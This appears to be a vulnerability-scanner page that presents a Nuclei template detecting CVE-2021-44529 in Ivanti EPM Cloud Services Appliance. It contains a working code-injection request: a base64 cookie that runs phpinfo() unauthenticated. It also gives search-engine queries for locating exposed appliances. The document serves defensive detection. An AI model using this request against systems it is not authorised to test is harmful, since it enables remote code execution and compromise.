Ivanti EPM Cloud Services Appliance Code Injection

ID: CVE-2021-44529

Severity: critical

Author: duty_1g,phyr3wall,Tirtha

Tags: cve2021,cve,ivanti,epm,csa,injection,packetstorm,kev

Description

Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).

YAML Source

id: CVE-2021-44529

info:
  name: Ivanti EPM Cloud Services Appliance Code Injection
  author: duty_1g,phyr3wall,Tirtha
  severity: critical
  description: Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
  remediation: |
    Apply the latest security patches provided by Ivanti to mitigate this vulnerability.
  reference:
    - https://forums.ivanti.com/s/article/SA-2021-12-02
    - https://twitter.com/Dinosn/status/1505273954478530569
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44529
    - http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html
    - https://github.com/SYRTI/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-44529
    cwe-id: CWE-94
    epss-score: 0.97096
    epss-percentile: 0.99778
    cpe: cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: endpoint_manager_cloud_services_appliance
    shodan-query:
      - title:"LANDesk(R) Cloud Services Appliance"
      - http.title:"landesk(r) cloud services appliance"
    fofa-query: title="landesk(r) cloud services appliance"
    google-query: intitle:"landesk(r) cloud services appliance"
  tags: cve2021,cve,ivanti,epm,csa,injection,packetstorm,kev

http:
  - raw:
      - |
        GET /client/index.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "phpinfo()"
          - "Cloud Services Appliance"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009fccd1b4bc06b585241cd3814bc4c6ad1be45a522e74ff5784858fc993c1ad59022073a96fd0385f7e9d836f8b9b029aa3ca54466d9d933d700b37445577320c7995:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-44529.yaml"

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